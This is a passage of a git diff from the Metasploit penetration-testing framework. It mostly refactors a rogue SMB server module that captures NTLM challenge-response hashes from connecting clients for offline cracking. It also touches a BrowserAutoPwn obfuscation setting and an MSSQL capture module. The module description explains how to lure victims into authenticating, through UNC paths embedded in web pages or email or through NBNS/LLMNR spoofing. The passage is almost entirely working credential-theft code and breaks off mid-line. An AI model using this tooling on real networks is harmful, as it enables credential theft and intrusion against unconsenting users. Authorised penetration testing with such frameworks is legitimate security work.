unless datastore["DEBUG"] + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #js = ::Rex::Exploitation::JSObfu.new(js) + #js.obfuscate unless datastore["DEBUG"] response.body = "#{js}" print_status("Responding with #{sploit_cnt} exploits") diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index be39fffabe..11192e31b6 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -15,7 +15,7 @@ MESSAGE = Rex::Proto::NTLM::Message class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server include Msf::Auxiliary::Report class Constants diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 4b108dde34..9182287d3f 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -10,56 +10,69 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server def initialize - super( - 'Name' => 'Authentication Capture: SMB', - 'Description' => %q{ - This module provides a SMB service that can be used to - capture the challenge-response password hashes of SMB client - systems. Responses sent by this service have by default the - configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), - allowing for easy cracking using Cain & Abel, L0phtcrack - or John the ripper (with jumbo patch). + super({ + 'Name' => 'Authentication Capture: SMB', + 'Description' => %q{ + This module provides a SMB service that can be used to capture the + challenge-response password hashes of SMB client systems. Responses + sent by this service have by default the configurable challenge string + (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using + Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). - To exploit this, the target system must try to authenticate - to this module. The easiest way to force a SMB authentication attempt - is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or - email message. When the victim views the web page or email, their - system will automatically connect to the server specified in the UNC - share (the IP address of the system running this module) and attempt - to authenticate. + To exploit this, the target system must try to authenticate to this + module. One way to force an SMB authentication attempt is by embedding + a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When + the victim views the web page or email, their system will + automatically connect to the server specified in the UNC share (the IP + address of the system running this module) and attempt to + authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to + respond to queries for names the victim is already looking for. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Sniffer' ] ], + 'PassiveActions' => [ 'Sniffer' ], + 'DefaultAction' => 'Sniffer' + }) register_options( [ - #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) + OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]), + OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ]) ], self.class ) register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), - OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " + - "When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), - OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " + - "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), - OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) + OptBool.new("SMB_EXTENDED_SECURITY", + [ true, + "Use smb extended security negotiation, when set client will use " \ + "ntlmssp, if not then client will use classic lanman " \ + "authentification", + false + ]), + OptBool.new("NTLM_UseNTLM2_session", + [ true, + "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " \ + "When SMB_EXTENDED_SECURITY negotiate is set, client will use " \ + "ntlm2_session instead of ntlmv1 (default on win 2K and above)", + false + ]), + OptBool.new("USE_GSS_NEGOTIATION", + [ true, + "Send a gss_security blob in smb_negotiate response when SMB " \ + "extended security is set. When this flag is not set, Windows will " \ + "respond without gss encapsulation, Ubuntu will still use gss.", + true + ]), + OptString.new('DOMAIN_NAME', + [ true, + "The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.", + "anonymous" + ]) ], self.class) end @@ -81,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) @previous_lm_hash="none" @previous_ntlm_hash="none" - exploit() + exploit end def smb_cmd_dispatch(cmd, c, buff) @@ -97,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary case cmd when CONST::SMB_COM_NEGOTIATE #client set extended security negotiation - if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) + if pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0 smb_cmd_negotiate(c, buff, true) else smb_cmd_negotiate(c, buff, false) @@ -109,18 +122,18 @@ class Metasploit3 < Msf::Auxiliary #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security #This packet contains the lm/ntlm hashes if wordcount == 0x0D - smb_cmd_session_setup(c, buff, false) - #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security - # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, + smb_cmd_session_setup(c, buff) + #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security + # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, elsif wordcount == 0x0C - smb_cmd_session_setup(c, buff, true) + smb_cmd_session_setup_with_esn(c, buff) else print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) end - when CONST::SMB_COM_TREE_CONNECT + print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}") smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn) @@ -136,13 +149,6 @@ class Metasploit3 < Msf::Auxiliary pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - group = '' machine = smb[:nbsrc] @@ -172,13 +178,13 @@ class Metasploit3 < Msf::Auxiliary pkt['Payload'].v['ServerTimeZone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 - if c_esn && @s_smb_esn then + if c_esn && @s_smb_esn pkt['Payload']['SMB'].v['Flags2'] = 0xc801 pkt['Payload'].v['Capabilities'] = 0x8000e3fd pkt['Payload'].v['KeyLength'] = 0 pkt['Payload'].v['Payload'] = @s_GUID - if @s_gss_neg then + if @s_gss_neg pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp end @@ -194,375 +200,375 @@ class Metasploit3 < Msf::Auxiliary c.put(pkt.to_s) end - def smb_cmd_session_setup(c, buff, esn) + def smb_cmd_session_setup(c, buff) smb = @state[c] - #extended security has been negotiated - if esn - pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct - pkt.from_s(buff) + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - securityblobLen = pkt['Payload'].v['SecurityBlobLen'] - blob = pkt['Payload'].v['Payload'][0,securityblobLen] + lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 + nt_len = pkt['Payload'].v['PasswordLenNT'] - #detect if GSS is being used - if blob[0,7] == 'NTLMSSP' - c_gss = false - else - c_gss = true - start = blob.index('NTLMSSP') - if start - blob.slice!(0,start) - else - print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - - end - ntlm_message = NTLM_MESSAGE::parse(blob) - - case ntlm_message - when NTLM_MESSAGE::Type1 - #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet - - if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) - c_ntlm_esn = true - else - c_ntlm_esn = false - end - pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct - pkt.from_s(buff) - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc807 - pkt['Payload']['SMB'].v['WordCount'] = 4 - pkt['Payload']['SMB'].v['UserID'] = 2050 - pkt['Payload'].v['AndX'] = 0xFF - pkt['Payload'].v['Reserved1'] = 0x00 - pkt['Payload'].v['AndXOffset'] = 283 #ignored by client - pkt['Payload'].v['Action'] = 0x0000 - - win_domain = Rex::Text.to_unicode(@domain_name.upcase) - win_name = Rex::Text.to_unicode(@domain_name.upcase) - dns_domain = Rex::Text.to_unicode(@domain_name.downcase) - dns_name = Rex::Text.to_unicode(@domain_name.downcase) - - #create the ntlmssp_challenge security blob - if c_ntlm_esn && @s_ntlm_esn - sb_flag = 0xe28a8215 # ntlm2 - else - sb_flag = 0xe2828215 #no ntlm2 - end - if c_gss - securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - else - securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) - end - pkt['Payload'].v['SecurityBlobLen'] = securityblob.length - pkt['Payload'].v['Payload'] = securityblob - - - c.put(pkt.to_s) - - when NTLM_MESSAGE::Type3 - #we can process the hash and send a status_logon_failure response packet - - # Record the remote multiplex ID - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - lm_len = ntlm_message.lm_response.length # Always 24 - nt_len = ntlm_message.ntlm_response.length - - if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => ntlm_message.lm_response.unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] - } - - if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 - arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE - end - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], - :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], - :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] - } - elsif nt_len == 0 - print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - else - print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - return - end - - buff = pkt['Payload'].v['Payload'] - buff.slice!(0,securityblobLen) - names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - - smb[:username] = ntlm_message.user - smb[:domain] = ntlm_message.domain - smb[:peer_os] = names[0] - smb[:peer_lm] = names[1] - - begin - smb_get_hash(smb,arg,true) - rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") - end - - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - - else - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - end - - #if not we can get the hash and send a status_access_denied response packet + if nt_len == 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + } + # if the length of the ntlm response is not 24 then it will be bigger + # and represent an NTLMv2 response + elsif nt_len > 24 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], + :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], + :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], + :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + } + elsif nt_len == 0 + print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return else + print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end - pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + buff = pkt['Payload'].v['Payload'] + buff.slice!(0, lm_len + nt_len) + names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + + smb[:username] = names[0] + smb[:domain] = names[1] + smb[:peer_os] = names[2] + smb[:peer_lm] = names[3] + + begin + smb_get_hash(smb,arg,false) + rescue ::Exception => e + print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + end + + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + + end + + def smb_cmd_session_setup_with_esn(c, buff) + smb = @state[c] + + pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct + pkt.from_s(buff) + + securityblobLen = pkt['Payload'].v['SecurityBlobLen'] + blob = pkt['Payload'].v['Payload'][0,securityblobLen] + + # detect if GSS is being used + if blob[0,7] == 'NTLMSSP' + c_gss = false + else + c_gss = true + start = blob.index('NTLMSSP') + if start + blob.slice!(0,start) + else + print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) + return + end + + end + ntlm_message = NTLM_MESSAGE::parse(blob) + + case ntlm_message + when NTLM_MESSAGE::Type1 + # Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet + + if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY) != 0 + c_ntlm_esn = true + else + c_ntlm_esn = false + end + pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct pkt.from_s(buff) + smb_set_defaults(c, pkt) - # Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + pkt['Payload']['SMB'].v['Flags2'] = 0xc807 + pkt['Payload']['SMB'].v['WordCount'] = 4 + pkt['Payload']['SMB'].v['UserID'] = 2050 + pkt['Payload'].v['AndX'] = 0xFF + pkt['Payload'].v['Reserved1'] = 0x00 + pkt['Payload'].v['AndXOffset'] = 283 #ignored by client + pkt['Payload'].v['Action'] = 0x0000 + + win_domain = Rex::Text.to_unicode(@domain_name.upcase) + win_name = Rex::Text.to_unicode(@domain_name.upcase) + dns_domain = Rex::Text.to_unicode(@domain_name.downcase) + dns_name = Rex::Text.to_unicode(@domain_name.downcase) + + # create the ntlmssp_challenge security blob + if c_ntlm_esn && @s_ntlm_esn + sb_flag = 0xe28a8215 # ntlm2 + else + sb_flag = 0xe2828215 # no ntlm2 + end + if c_gss + securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + else + securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( + win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag + ) + end + pkt['Payload'].v['SecurityBlobLen'] = securityblob.length + pkt['Payload'].v['Payload'] = securityblob + + c.put(pkt.to_s) + + when NTLM_MESSAGE::Type3 + #we can process the hash and send a status_logon_failure response packet + + # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + lm_len = ntlm_message.lm_response.length # Always 24 + nt_len = ntlm_message.ntlm_response.length - lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 - nt_len = pkt['Payload'].v['PasswordLenNT'] - - - if nt_len == 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] + if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :lm_hash => ntlm_message.lm_response.unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] } - #if the length of the ntlm response is not 24 then it will be bigger and represent - # a ntlmv2 response - elsif nt_len > 24 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], - :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], - :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], - :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] + + if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + # if the length of the ntlm response is not 24 then it will be + # bigger and represent an NTLMv2 response + elsif nt_len > 24 # lmv2/ntlmv2 + arg = { + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], + :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], + :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], + :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 - print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") + print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return else - print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...") + print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end buff = pkt['Payload'].v['Payload'] - buff.slice!(0, lm_len + nt_len) + buff.slice!(0,securityblobLen) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - smb[:username] = names[0] - smb[:domain] = names[1] - smb[:peer_os] = names[2] - smb[:peer_lm] = names[3] + smb[:username] = ntlm_message.user + smb[:domain] = ntlm_message.domain + smb[:peer_os] = names[0] + smb[:peer_lm] = names[1] begin - smb_get_hash(smb,arg,false) - + smb_get_hash(smb,arg,true) rescue ::Exception => e - print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") + print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}") end - smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) - + else + smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) end end + def smb_get_hash(smb, arg = {}, esn=true) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - lm_cli_challenge = arg[:lm_cli_challenge] - nt_cli_challenge = arg[:nt_cli_challenge] - end + + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + + # These are not used for NTLM_V1_RESPONSE or NTLM_2_SESSION_RESPONSE, so + # it's fine if they're nil + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] # Clean up the data for logging - if (smb[:username] == "") + if smb[:username] == "" smb[:username] = nil end - if (smb[:domain] == "") + if smb[:domain] == "" smb[:domain] = nil end - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + # Check if we have default values (empty pwd, null hashes, ...) and adjust + # the on-screen messages correctly + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end + if lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ + lm_hash_message = "Disabled" + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + else + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [nt_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end - @previous_lm_hash = lm_hash - @previous_ntlm_hash = nt_hash - - # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" - lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - lm_chall_message = 'Disabled' - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end + if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 + lm_hash_message = "Disabled" + lm_chall_message = 'Disabled' + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [lm_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + lm_chall_message = 'Disabled' + else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end - - # Display messages - if esn - smb[:username] = Rex::Text::to_ascii(smb[:username]) - smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] - end - - capturedtime = Time.now.to_s - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" - when NTLM_CONST::NTLM_V2_RESPONSE - smb_db_type_hash = "smb_netv2_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" + - "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n" - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n" - - else # should not happen + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [lm_hash].pack("H*")[0,8], + :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB 